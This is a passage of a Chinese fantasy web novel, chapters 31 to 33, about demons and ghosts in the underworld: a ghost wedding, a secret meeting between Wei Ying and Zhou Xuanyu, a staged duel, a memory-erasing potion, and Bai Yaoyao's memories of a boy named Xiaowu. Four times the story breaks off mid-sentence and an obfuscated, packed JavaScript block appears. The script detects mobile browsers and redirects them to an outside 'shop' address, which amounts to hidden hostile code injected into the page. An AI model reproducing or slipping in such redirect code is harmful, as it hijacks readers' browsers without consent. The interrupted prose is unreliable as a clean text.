唯有那卷翘浓密的羽睫,在跳跃的烛光映照下,微微颤动,无声地泄露着他内心的不平静,反而更添了几分惹人怜惜的脆弱美感。 还挺美的,百灵心想,亲一口,好像也不算太吃亏。 “冒犯了。” 话音落下,她伸出手,指尖托起周延玉的下巴,随即俯身,在他温热的脸颊上,如蜻蜓点水般,飞快地印下了一个吻。 接触的瞬间,周延玉的整个身体瞬间绷紧了,僵硬得像块石头。 他的心跳声如擂鼓般在胸腔里轰鸣,震得他耳膜发疼。 这种陌生的、失控般的悸动,甚至比他当年成功猎杀一头实力远超自己的大妖时,还要来得猛烈和令人兴奋。 …… 在另一处隐秘的厢房内,失踪的卫影见到了一个意想不到的故人。 方才的混乱中,他正竭力在人群中搜寻周延玉的身影,不料却被一个身形相似的新娘主动牵住了手。那新娘力道不小,引着他七拐八绕,来到这处僻静的房间。 直到盖头被掀开,卫影才惊觉自己认错了人。 准确来说,是有人故意而为之。 “卫影,许久不见了。” 一道低沉的男声从虚空中传来。紧接着,烛火摇曳处,空间微微扭曲,一位身着墨色长袍的男子缓缓显出身形。 他肤色是近乎透明的苍白,一双狭长的丹凤眼微微上挑,在昏暗的光线下,透着股拒人千里的阴鸷与冷冽。 “玄玉哥!”卫影先是一惊,随即转为满脸惊喜,急忙上前几步,“你怎么会在这里?” 周玄玉堪称君上的左膀右臂,地位尊崇,行事稳重,在妖界深受倚重。能在冥界见到他,对孤立无援的卫影而言,无异于他乡遇故知,久旱逢甘霖。 卫影心中一直对这位能力出众、深受君上信赖的兄长抱有几分崇拜。 “看来这阵子,你过得还算不错。”周玄玉唇角勾起一抹浅淡的弧度,目光在卫影身上打量了一圈。 “让玄玉哥见笑了。”卫影有些不好意思地摸了摸鼻子,“实在是形势所迫,不得不如此。” “对了玄玉哥,你是如何进来的冥界,怎么做到毫发无损的?”卫影不解。 “我同冥王有些交集,他破例放我进来。” “冥王!”卫影震惊地重复了一遍,心中骇然。能与冥王有此等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050284|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交情,周玄玉的能耐远比他想象的更深,“那玄玉哥你此次前来,是为何事?” 卫影其实很想立刻提及周延玉的处境,但出于谨慎,他决定先探听周玄玉的来意。 “说来话长,”周玄玉神色略显复杂,他伸出手,轻轻拍了拍卫影的肩膀,动作带着一种长辈式的安抚,“我此行,是专程为你而来。见到你安然无恙,我便放心了。” “为我而来?”卫影心中一喜,仿佛找到了主心骨,“可是有什么吩咐需要我去做?”他终于能派上用场了。 “我知道延玉也在冥界。”周玄玉直接点破,语气转为郑重,“我希望你能好好保护他,这阵子暂且不要想着返回妖界。” “可是妖界出了什么变故?”卫影心头一紧,追问道。 “你别着急,听我慢慢和你说。”周玄玉安抚道,“此事还得从妖鬼两界之间的矛盾说起……” “矛盾?是指有些妖怪会逃窜到冥界,抢夺鬼魂身体这件事吗?”卫影根据自身见闻猜测道。 “这不过是其中微不足道的一小部分缘由。”周玄玉摇了摇头,引导着他往更深处想,“卫影,你可还记得,三年前天道曾降下的那道指令?” “记得。”卫影点头,回忆道,“原本我们妖族只能依靠自身苦修,以期证道成仙,但成功者凤毛麟角。天道体恤,破格允许我等可选择修炼成人,历经凡人生老病死、体会七情六欲,以此作为另一种修行捷径。” 对于卫影这等天生强大的妖族而言,自是不愿舍弃一身妖力沦为凡人。但妖界之中,更多的是资质普通的精怪,它们可能修炼数百年都难以完全化形,对于它们来说,修炼成人不失为一条可行的出路。 “不错。”周玄玉颔首,“天道是好意,只是这修炼为人的路上要先投胎转世为人。若贸然由妖变人,只怕引得人间动乱,所以特意加此一步。” “冥界的鬼魂,同样需要投胎转世……”卫影在周玄玉的引导下,立刻抓住了关键,“这不就冲突了吗?” “一点即通,真是可造之才。”周玄玉毫不吝啬地赞许道, “投胎转世的名额本就是有限的。而在这有限的名额之中,又注定会有一部分遁入畜生道。” 周玄玉的声音低沉下来,带着一种蛊惑人心的力量,“可你想想,那些在人间挣扎一世、期盼来生的人,还有我们妖界苦苦修炼、渴望蜕变的同族,谁又甘心投身畜生道,成为任人宰割、灵智蒙昧的牲畜?” “这倒是个难题……”卫影感慨。 “其实,若大家各凭本事争夺,倒也未尝不能寻得一个共处之道。”周玄玉话锋一转,眉宇间染上一抹沉郁,“可冥王不愿啊。他不愿将冥界掌控的投胎机会,轻易分给我们妖族。” “……”卫影陷入了沉思,许久才开口道,“玄玉哥,你同我说实话,君上可知道这些?” “他是妖界的君主,连我都知道,更何况是他呢?” 卫影脸上的光彩瞬间黯淡下去,取而代之的是一股淡淡的、难以化开的忧伤:“说到底,只有我一人被蒙在鼓里。” “延玉为了履行你母父的承诺,我可以理解。”周玄玉耐心宽慰道,“可他也许过于谨慎了。” “也许吧……”卫影无奈道。 他沉默片刻,再次开口时,语气已带上了肯定的猜测:“既如此,那他前来冥界,恐怕也并非偶然吧?” 31. 第 31 章 “那是自然。”周玄玉肯定了他的猜测,随即又语重心长道,“但延玉也实属无奈,你莫要因此怨他刻意隐瞒于你。” “无奈?”卫影不解。 “自延玉继承君位以来,冥王便曾多次想与他商议两界投胎转世名额划分之事。”周玄玉神色凝重,缓缓道来。 “冥王起初以为延玉年轻,资历尚浅,易于拿捏。却不曾想,延玉在此事上态度异常强硬,关乎妖族根本利益,寸步不让,一点转圜的余地都未留给冥王。” 他顿了顿,用沉痛的语调说道:“冥王因此与延玉结下了深怨。他暗中与妖界内部一些早有异心、蠢蠢欲动的势力勾结,欲联手暗杀延玉,延玉腹背受敌,为保全性命,不得已才逃亡至此。” “原来……竟是如此。”卫影喃喃道。 心中对周延玉的些许埋怨被这残酷的真相冲散,取而代之的是深深的后怕与担忧。他一直以为君上只是来冥界办事,没想到竟是亡命天涯。 “所谓最危险的地方,往往也是最安全的地方,延玉藏身于此,我反倒能稍安心些。”周玄玉语气转为欣慰。 “他如今失了肉身,仅余魂体,旁人想要伤他本源并非易事。而且,寻常妖怪谁会冒这么大的风险,深入冥界来追杀他?” “所以,你让君上暂时不要回去,是因为妖界还有冥王安插的势力在虎视眈眈,等待他自投罗网?”卫影顺着他的思路问道。 “不错。”周玄玉赞许地点头,眼中闪过一丝决绝。 “为了更好的保护延玉,混淆视听,我甚至在妖界对外下达了对他的通缉令。以此让冥王相信,我已与延玉彻底决裂,势同水火。” “通缉令?” 卫影骇然失色,他万万没想到,事态竟然已经严峻到需要周玄玉用这种自毁长城、背负骂名的方式来缓解危机。 “我也是别无他法。”周玄玉重重叹息一声,语气中充满了不得已的苦涩与无奈。 “冥王与上界天道使者关系匪浅,在天庭的势力远非我妖界可比。眼下,我们只能虚与委蛇,假意与他周旋。他要求我自证清白,与延玉划清界限,我只能出此下策。” “玄玉哥,你真是用心良苦。”卫影的语气中带着由衷的敬佩与一丝心疼,“相信君上日后得知全部真相,定能明白你的苦心,绝不会怪罪于你。” “延玉向来深明大义,我相信他会理解的我作为兄长的一片苦心。”周玄玉点头回应。 “玄玉哥,”卫影想起另一个关键人物,压低声音问道,“你是否知道一个叫叶知舟的人?他会不会也是冥王阴谋中的一环?” “叶知舟?”周玄玉语调微扬,眉头随即蹙起,脸上的疑惑神色已经替他做出了回答,表明他对此人并不熟悉。 “自从我和君上相认以来,此人就阴魂不散,一直围绕在我们周围。” 卫影忧心忡忡地解释:“此前他还特意设下宴席,几番试探我与君上,绝对没安好心。他在冥界经营多年,势力盘根错节,绝非等闲之辈。” “听你描述,此人极有可能是冥王安置在冥界的重要爪牙。” 周玄玉凝眉沉思,语气愈发凝重:“我目前虽与冥王有所接触,但尚未完全取得他的信任,他对我也多有防备。待我回去后,定会设法仔细探查此人的底细。” “好,一切小心。”卫影郑重道。 “你们也万事一定小心。” 周玄玉殷切叮嘱,随即从怀中取出一枚造型古朴、呈犬牙形状的玉坠,递了过去。 “这枚玉坠中我注入了特殊妖力,你若遇到紧急情况,或是有重要消息,可通过它随时与我联系。” 当卫影伸手接过玉坠时,周玄玉的手并未立刻松开,反而收紧了几分,牢牢握住了他的手,目光深邃,语气严肃。 “卫影,记住了,今天你谁也没有见到,我们从未有过这次会面。” 卫影感受到手上传来的力道和对方目光中的深意,立刻郑重地点头。 周玄玉不仅将如此重要的联络信物交给他,更对他吐露了连君上都未曾明言的内情。 这份沉甸甸的信任,让他心生感动,更暗下决心:“玄玉哥放心,我明白轻重,绝不会向君上提及今日之事,让你为难。” “多谢。”周玄玉欣慰回应。 …… 无忧阁深处,一间光线晦暗的密室。 “叶老板,您吩咐的事,都已办妥。”大虎垂首而立,照例向端坐于阴影中的叶知舟汇报。 “情况如何?”叶知舟的声音不紧不慢,带着惯有的慵懒。 “不出意外的话,宋小姐和那位百灵画皮师,此刻应在洞房之中了。”大虎顿了顿,脸上闪过几分烦躁,又不情不愿地补充道,“白夭夭那边也按照您的意思安排好了……” “好。”叶知舟淡淡应了一声,对他语气中的异样仿佛视而不见。 自那次白夭夭在叶知舟面前撕破脸皮大闹一场后,大虎只得将对她的那点龌龊心思强行压下,心头却始终憋着一股无处发泄的火。 “大虎,”叶知舟冷不丁开口,打破了短暂的沉寂,“你来冥界也有些时日了,许久未曾施展拳脚了吧?” “叶老板,这儿可不是妖界。”大虎闻言,语气带着几分不屑,“对付那些孱弱鬼魂,动动手指便灰飞烟灭,哪有什么值得施展拳脚的机会!” “无妨,”叶知舟唇角勾起一抹难以捉摸的浅笑,“我今日便给你这个机会。” 他话音未落,目光转向身侧的阴影:“霜叶,出来吧。” 大虎循着他的视线望去,只见一个身着紫衣、身形瘦削的女子自叶知舟身旁的暗处缓缓步出。 她面容冷峻,五官线条如刀削般凌厉,眼神如同其名,透着冰封霜寒般的死寂与杀气。 空气中瞬间弥漫开一股微妙的危险气息,让大虎下意识地绷紧了神经,耳朵几不可察地抖动了两下,全神贯注地盯住这个陌生而危险的女人。 “别紧张。”叶知舟皮笑肉不笑地安抚,语气却听不出半分暖意,“想来你在冥界难免孤寂,我特意为你寻了个同类,也好切磋切磋。” “叶老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054146|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板这是想让我们同类相残?”大虎敏锐地捕捉到那不祥的暗示,警惕之心大起。 “怕什么,”叶知舟语调轻松,默认了他的猜测,“霜叶下手,自有分寸。” 名为霜叶的女子闻言,沉默地向前踏出两步,周身气息陡然变得锐利,战斗一触即发。 大虎心知自己已无拒绝的余地,只得硬着头皮,被迫迎战。 霜叶却依旧是那副面无表情的模样,她屏息凝神,双膝微屈,上身略向前倾,动作流畅而无声。 只见她缓缓从身侧抽出一把弧度诡异的弯刀,刀身狭长,寒光流转。 大虎决定先发制人,他双目一沉,脚腕猛地发力,壮硕的身躯竟异常敏捷地飞扑向前,如同猛虎出闸,直取霜叶面门。 霜叶却不慌不忙,纤腰柔韧地向后一折,险险避过这迅猛一击。 然而大虎变招极快,蒲扇般的大手趁势探出,精准地抓住了霜叶尚未站稳的脚踝,试图凭借蛮力将她狠狠掼向地面。 霜叶并未强行挣脱,反而顺势借力,被大虎拽起的瞬间,身体如同失去重量般在空中灵巧一旋,宛如蜂鸟振翅,轻易脱离了他的钳制。 未等大虎反应过来,她已落地站稳,手腕一翻,弯刀带着尖锐的破空声,直刺大虎心口。 银白的刀刃如毒蛇吐信,从他眼前急速掠过,带起的劲风刮得他脸颊生疼。 大虎心中骇然,急忙旋身后撤数步,方才发力的手臂竟微微发麻。这女人的力道,远比他预估的更加强悍。 霜叶显然不打算给他喘息之机,她回退半步稍作蓄势,依旧是那反握弯刀的诡异姿势,随即以肉眼难以捕捉的高速,舞动起手中利刃。 弯刀如同水中游鱼,在她指间翻转穿梭,带着致命的寒光,向大虎发起了密不透风的进攻。 刀刃划破空气的嗡鸣不绝于耳。在如此高频率、高强度的猛攻下,本就不以敏捷见长的大虎很快左支右绌,落了下风。 冰冷的刀锋数次擦过他的身体,划破衣袍,在他坚硬的假身上留下几道浅痕。幸而这并非他真正的妖躯,没有痛感,亦无实质损伤。 垂眸凝神的刹那,刀刃切割气流的声音如同死亡的蜂鸣,紧紧缠绕在他耳际。 “停手!我认输!”大虎终于按捺不住,扬声大喝。 话音甫落,那冰冷的弯刀恰好停在了他的颈旁,刀锋紧贴皮肤,传来刺骨的寒意。只需霜叶手腕稍稍用力,便是身首异处的下场。 “好!”叶知舟边鼓掌边走向霜叶,眼里是掩饰不住的赞赏。 霜叶收回弯刀,一如既往地冷静自持。 “叶老板,你这是什么意思?我大虎没招惹你吧?”大虎神色愤然,声线里满是怨怼,“特意找一个高手来羞辱我。” “大虎,你可误会我一片好意了。”叶知舟故作伤心状,皱着眉头道,“难得看见同类,你不该开心吗?” “……”大虎一言不发,只死死盯着一旁沉默的霜叶。 在她身上闻不到死气沉沉的假人气息,她来头绝对不小,这副身体竟是本体。 32. 第 32 章 “有她没我,有我没她!” 大虎捂着颈侧并不存在的伤口,咬牙切齿地低吼,眼中满是屈辱与不甘。 “和气点嘛。”叶知舟出言安抚,语气轻松得像是在调解小孩吵架,随即话锋一转,脸上堆起惯有的令人捉摸不透的笑意,哄诱道。 “这样吧,大虎,你跟着我办事也有些时日了。我记得你不是一直对那白夭夭念念不忘吗?正好,今日这冥婚场面现成,不如我给你们也把这喜事办了,如何?” 大虎脸上的愤恨瞬间转为错愕,他狐疑地打量着叶知舟,完全不明白这精于算计的商人为何突然如此大方。 他拧着眉头,思索片刻,将信将疑道:“叶老板,你该不会是在诓我吧?” “怎么会呢?”叶知舟摊开手,一副坦诚模样,“我叶知舟向来说一不二,你跟在我身边这么久,没有功劳也有苦劳,这就当是给你的奖赏了。” “可那白夭夭性子烈得很,她若宁死不从怎么办?” 大虎虽然依旧心存疑虑,但内心深处对白夭夭那股被强行压抑许久的邪念,已被叶知舟这番话彻底点燃,如同野火燎原,难以遏制。 “不从?”叶知舟轻笑一声,语气带着一种冰冷的理所当然,“不从,就想办法让她从便是。” 说完,他微微侧首,示意一旁的霜叶。 霜叶默不作声地上前,将一杯早已备好的盛着无色透明液体的酒杯,递到了大虎面前。 “这是什么?”大虎盯着那杯看似清水的液体,警惕地问道。 “一点点助兴的好东西。”叶知舟的声音低沉而充满蛊惑,“喝下它,你便能得偿所愿,与那白夭夭共度良宵了。” 大虎迟疑地接过酒杯,握在手中,却迟迟没有动作,内心在天人交战。 白夭夭娇俏含怒的面容在他脑中盘旋,与对眼前这杯不明液体的恐惧相互拉扯。 “春宵一刻值千金啊,大虎。”叶知舟慢悠悠地在一旁添火,声音如同魔鬼的低语,“机会可就这一次,错过了,只怕你日后追悔莫及……” “行!我干了!”想到白夭夭,大虎终究是被欲望冲昏了头脑,把心一横,仰头便将杯中液体灌了下去,一滴不剩。 “怎么没啥味道?”大虎咂巴了几下嘴,疑惑地回味着,那液体如同清水,过喉无痕。 他抬起头,刚想向叶知舟追问,下一瞬,却猛地感到一阵天旋地转,眼前景象骤然模糊、扭曲,大脑里仿佛被投入了一块巨石,惊起一片空白浑噩的涟漪。 然而,这奇异的感觉来得快,去得也快。仅仅是眨眼的功夫,所有的不适感便如潮水般退去,消失得无影无踪。 大虎晃了晃脑袋,眼神恢复清明,仿佛刚才那瞬间的异样从未发生过。 “大虎,”叶知舟缓步上前靠近他,语气寻常地问道,“你还想要那白夭夭吗?” “白夭夭?”大虎低声重复着这个名字,脸上浮现出纯粹的茫然。 他蹙眉努力回想,却发现自己对这个名字毫无印象,不由困惑地反问:“是谁啊?我认识吗?” “哦……”叶知舟脸上露出了满意而深沉的笑容,轻描淡写地说道,“当然不认识,许是我记错了。” 大虎喝下的,正是掺了水的孟婆汤。即便是效力大打折扣的稀释品,其效果也如此立竿见影。 叶知舟方才刻意用言语引导,诱发出大虎对白夭夭最强烈的执念,然后在他意念最为集中之时,让他服下这忘川之水。 如此一来,大虎便会将他此刻最在意、最强烈的这份记忆,忘得一干二净。 当真是个杀人不见血的好东西。 …… 被大虎忘记的白夭夭,正蒙着盖头在房间迷茫摸索着。 参与第二场比试的团队中有人临时退出了,白夭夭是临危受命,来凑数当新娘子的。 她本来不想掺合其中,是叶知舟用涨工钱诱惑她,她才同意的。 "这算哪门子的冥婚?"见外头迟迟没有动静,白夭夭等得不耐烦,索性自己掀了盖头。 埋怨的话还未说完,她却张着嘴赫然停住了。 眼前这诡异而熟悉的景象,让白夭夭僵立当场。 正对着她的,是一尊残破不堪的泥塑菩萨像,彩漆剥落,蛛网层层缠绕。 佛像下半身裂开一道巨大的豁口,仿佛随时都会坍塌。 佛前是两团露出脏污棉絮的破旧蒲团,胡乱扔在积满灰尘的地面上。 唯一透着些许生机的,是角落里那堆厚厚的干草。草堆上铺着几块打满补丁的粗布,还有一床用碎布头拼接而成的被子。 那分明是一张床。 像,太像了。 “我这是……在做梦吗?”白夭夭低声喃喃,声音带着颤抖。 这里和她记忆深处那个刻骨铭心的角落几乎重合。 那个她曾经当成是家的地方。 那个她和小五相依为命,赖以生存的地方。 记忆汹涌而至。在那个大雪纷飞的日子,她收留了那个看上去可怜兮兮的少年。 她自己尚且食不果腹,哪有余力再照顾一个拖油瓶?明明说好只收留一天,可第二天,那狡猾的家伙竟直接昏倒在她面前,硬是赖着不走了。 白夭夭当时气得牙痒痒,下定决心等他醒来,一定要把这个黏人的赖皮虫赶走。 可小五睁开眼,却说:“我能帮你赚钱,我们以后一起过活,好不好?” 她自然不信,只当又是借口。 直到她亲眼看见,那个瘦小的孩子咬着牙,将自己的手臂狠狠撞向庙里残破的石柱。 “咔嚓”一声脆响,伴随她惊恐的尖叫。 “还好我们已经死了,不会流血,手断了也可以随时补上的。” 小五疼得脸色煞白,却强忍着没喊一声疼,只是用轻描淡写的语气这般说道。 从那以后,他们成了搭档。她表演杂耍,小五则利用清秀面容和空荡荡的袖管博取同情,日子竟然就这样一点点熬了过来。 后来她攒了些钱,想找画皮师帮小五补上断臂,可小五坚决摇头。 “有瑕疵的小鬼,才像真正的流浪汉该有的样子。” 他平静地说,那双过早看透世事的眼睛里没有委屈,只有清醒,“如果手臂补好了,那些可怜我们的人,或许就觉得我们不再需要帮助了。” 他甚至还想故技重施,弄伤另一只手臂,被她死死拦住才没得逞。 他们就那样相互依偎着,度过了一个又一个冥界寒冷的冬天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061146|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数个夜里,白夭夭看着小五空荡荡的袖管,总是忍不住偷偷掉泪。 而小五总会用剩下那只完好的手,笨拙又温柔地替她擦去泪水,轻声说:“夭夭,别哭。跟着你,我从来没后悔过。” 她曾天真以为这样的日子会一直这样持续下去。 虽苦,但幸福。 可她又清楚地知道,小五心中始终藏着一团火。那团火,比她只求安稳度日的愿望,要炽烈得多。 小五不甘心。 他不甘心永远蜷缩在破庙的角落里,不甘心永远靠路人的怜悯过活。尽管他极力掩饰,但朝夕相处之下,那点心思又如何能瞒得过白夭夭。 他看向那些华服鬼差、望向冥界显贵府邸时,眼中闪烁的不是羡慕,而是某种近乎执拗的向往,甚至是占有。 直到某个深夜,他在梦中呓语,白夭夭才得知,他生前原是富贵人家的少爷,自幼锦衣玉食,却不幸被人拐卖,受尽折磨而亡。 这与白夭夭的前世,简直是云泥之别。 她不过是个被弃于河中的女婴,在冥界慈幼局勉强长大。因性子软弱受尽欺辱,最终跟着几个同样无依的小鬼逃了出来,在街头摸爬滚打,为了活下去,才渐渐磨砺出坚硬的壳。 两条本应永无交集的命途,因命运的偶然得以短暂交织。 却也注定,终将沿着各自的轨迹,再度分离。 “姐姐……” 一道稚嫩的童声从斑驳的菩萨像后传来。 白夭夭循声望去,只见一个瘦小的孩子从阴影里怯生生地钻了出来。 “小五……” 沉浸在回忆中的她一时恍惚,几乎要伸手去碰触那个熟悉的身影。 “姐姐,你还记得我吗?”小男孩走上前,仰起脸,用那双蓄着泪光的眼睛直勾勾地望着她。 “当然记得了,你是……” 就在“小五”二字即将脱口而出的瞬间,白夭夭猛地顿住,如同被一盆冷水浇醒。 眼前这个男孩,衣着齐整,四肢完好,那张白净的小脸上没有丝毫风霜磨砺的痕迹。 更重要的是,这种卑微讨好的眼神,在她记忆中的小五脸上是极少出现的,那孩子即便落魄,骨子里也藏着不肯低头的倔强。 “不,你不是小五。” 白夭夭的声音瞬间冷却,带着一种近乎残酷的清醒。 是谁?究竟是谁在幕后操纵这一切?谁又想让她重温这些过往? 是叶知舟吗? 不可能,他怎么会知道这些事? 难道叶知舟和小五之间…… 不,绝不会。叶知舟绝不可能是小五。 这个荒谬的念头刚冒出来,就被她狠狠掐灭。 尽管叶知舟如今拥有的权势与地位,确实是小五曾经向往的,但她记忆里的那个孩子,绝不可能变成这般工于心计、唯利是图的人。 “听着,小子。” 理性彻底回归,白夭夭蹲下身,平视着那个茫然无措的孩子,语气斩钉截铁: “我不管是谁派你来的。你只管回去传话。” 她一字一句,清晰而坚定: “过去的事,早就过去了。在我心里,小五已经死了。” “我白夭夭,绝不回头。” 33. 第 33 章 冥婚的一切仪式结束后,百灵作为收获最多鲜花的新郎官,额外获得了一项殊荣,与她的新娘共同乘坐花车,在无忧阁前再游街一圈。 这算哪门子的特权?叶知舟真是逮着机会就往死里折腾。 百灵知道叶知舟没什么好心,但这也是一个和宋清河澄清误会的好时机,顺便还能打探一下她的冥婚仪式到底是如何进行的。 “还要再来一次嘛?还是两个人一起......” 一旁的周延玉竟下意识地喃喃出声,似乎真的在考虑是否要作为新娘再次参与游街。 他显然已经将自己代入了那个上错花轿却将错就错的角色。 他并没有表态,而是将决定权交给了百灵,目光悄然落在她身上,隐含着一丝不易察觉的期待。 紧接着,他听见百灵用一种再自然不过的语气说道:“我去找清河游街了。” 周延玉瞬间石化僵在原地,心头莫名地空了一块,一种失落感蔓延开来。 他想开口说点什么,嘴唇微动,最终却只是沉默地目送着百灵转身离去的背影,将所有未竟的话语咽了回去。 他这是怎么了?不过是一次游街而已,有什么好在意的?他试图理清自己这突如其来的异常情绪。 “小骨,”卫影的声音恰在此时响起,打断了他的思绪,“冥婚那时……我被人设计,和你错过了。” 周延玉立刻收敛心神,正色问道:“我们不仅是错过,我连你的气息都完全探查不到。究竟发生了何事?” “没什么大事。” 卫影谨记着周玄玉的叮嘱,搬出早已准备好的说辞。 “是有个迷糊的新娘子认错了人,强行将我拉走了。我以为是针对我们的陷阱,情急之下便张开了结界,时刻保持着警戒状态。” “结界是你自己张开的?”周延玉略显讶异,追问道,“你确定没有遇到其他什么人吗?” 以卫影的实力,若全力施为,确实有可能暂时屏蔽他的感知。但周延玉总觉得有哪里不对劲,若只是警惕危险,何至于连他也一并隔绝在外? “是我当时太过紧张,小题大做了。”卫影坚持否认,语气带着刻意的平稳,“以后我一定更加小心行事。” 见卫影如此回答,即便心中疑虑未消,周延玉也不便再继续追问下去,只得将那份不安暂时压在心底。 ...... 百灵找到宋清河时,她正坐在窗边,就着天光,全神贯注地捏制着一个假人的面部轮廓,指尖力道轻柔而精准。 “这是在为决赛做准备吗?”百灵走近,顺势找了个话题开头。 “嗯。”宋清河头也没抬,语气平淡得听不出任何情绪,仿佛只是在陈述一件再寻常不过的事。 百灵一时摸不清她的态度,不敢贸然打扰,只得安静地在一旁看着。 “照着你捏的,像吗?”宋清河忽然侧过身,将手中初具雏形的脸转向百灵,唇角微扬,带着一丝玩笑的意味。 “我?”百灵一愣,下意识地就真的凑近了些,仔细端详起来。 “骗你的,这都信。”宋清河见她当真,噗嗤一笑,语气轻快地打趣道。 “我就说嘛……”百灵讪讪地摸了摸鼻子,也跟着笑起来,“我有什么好捏的。” 气氛因这个小小的玩笑缓和了不少。百灵趁机试探着开口:“叶知舟给我们安排了花车游街,说是奖励,你……”” “我知道。”宋清河打断她,语气依旧没什么波澜。 她抬起眼,看向百灵,目光平静:“你想去吗?想去的话,我可以陪你一起。” “我吗?”百灵没想到她会把问题抛回来,“我其实觉得都行,毕竟我已经抛头露面过一次了,主要还是看你。” 她不想强人所难,尤其是面对心思难测的宋清河。 宋清河沉默片刻,像是经过了一番权衡,最终轻轻摇头,语气带着点释然:“……那就算了吧。” “好。”百灵以为她是不喜张扬,从善如流地应下。 话题似乎就此终结。宋清河重新低下头,专注地修饰着假人的眉眼,仿佛刚才的对话从未发生。 百灵站在原地,一时有些无措。她怎么完全不提冥婚的事?难道对她来说,那场仪式无足轻重吗? “百灵,你来帮我看看。”宋清河终于再次开口,说的却并非百灵期待的内容,“这个嘴我怎么都捏不好,侧面看着总觉得别扭。” 百灵依言上前,仔细看了看,很快指出了问题所在:“你的嘴捏得很好,唇形标准,比例正好,没有问题。” 她轻轻转动假人的头,用手指虚点着鼻梁下方,“是这里,鼻子底部若是再稍微抬高一点点,侧面线条就顺畅了。” “原来如此,多谢。”宋清河恍然,认真地点了点头。 眼看她的注意力又要完全沉浸到捏制中去,百灵终于按捺不住,轻声唤道:“清河,昨日的冥婚……” 闻言,宋清河手上的动作几不可察地一顿,随即若无其事地反问:“怎么了?” “我没有找到你,认错人了,实在不好意思。”百灵语气诚恳,带着歉意。 “没事。”宋清河语气轻描淡写,仿佛在说一件与己无关的小事,“我也认错人了。” “那仪式……进行了吗?”百灵小心翼翼地问。 “当然进行了。”宋清河的语气里听不出丝毫遗憾或不满,反而有种随遇而安的淡然,“那个人同我一样,将错就错了。” “这样啊……”百灵心中疑窦丛生。 叶知舟明明信誓旦旦地说要为宋清河“量身定制”一场梦中婚礼,可为何她的反应如此平淡? 是她在刻意隐瞒什么,还是叶知舟失算了,根本就没能猜透这位大小姐真正的心意? “百灵,你当初为什么想成为一名画皮师呢?” 宋清河停下手中的动作,转头看向百灵,眼神里透着认真。显然比起其他话题,她对画皮这件事更感兴趣。 “像我这样的人,其实没什么选择的余地。”百灵回忆起往事,语气平静,“当年姐姐收留我后,我就跟着她学习画皮。就这么自然而然地,成了一名还算有点手艺的画皮师。” “那你觉得,我能选择吗?”宋清河敏锐地捕捉到百灵话中的潜台词,立刻反问。 百灵一时语塞,只能茫然摇头。 “大家族的千金小姐,不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065081|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外表光鲜罢了……”宋清河自嘲地笑了笑,指尖缓慢在假人脸上划过,“从小我就是他们对外展示的战利品,一个会说话的纸人,我早就记不清扮过多少次新娘装束,供人观赏品评。” 百灵默默听着,想不出合适的话来回应这突如其来的剖白。 “画皮,同样是我没得选的选择。”宋清河继续说着,语气里带着执拗,“只要是让他们不痛快的事,我偏要去做。” 百灵忽然想起宋清河曾提过家人不支持她学画皮,当时她并未深思其中含义。 “但后来我发现,自己好像真的喜欢上这种感觉了。”宋清河的神色渐渐柔和,唇角泛起一丝真切的笑意,“画皮的时候,我可以完全专注在自己手上,不用听从任何人的安排。” 她自己也没料到,这个始于叛逆的爱好,竟成了真正的心之所向。 “后来他们妥协了,条件是让我嫁人。”宋清河的语调里带着讥讽,“你说可笑不可笑?都是死过一回的人了,还要被逼着嫁人。” 对于这一点百灵深有所感,姐姐百会很早就和她说过,生活在冥界的鬼,出了□□已死,其余方面和人没有区别。 人的喜怒哀乐,爱恨嗔痴都从人间被完美地复刻下来。 “我没想到,你是这样的。”百灵的回应带着些许歉意,“但你已经很勇敢了,和我以往见过的想象过的千金小姐都不一样。” “是不一样。”宋清河轻笑着摇头,转身面对自己精心雕琢的假人,“可不一样又能怎样呢?” “百灵,期待和你终试相见,希望你能让我瞧瞧看,你到底有多厉害。” 她很快调整好情绪,抬脸盯着百灵,神色中藏着几分欣赏和挑战。 “好。”百灵自信回应。 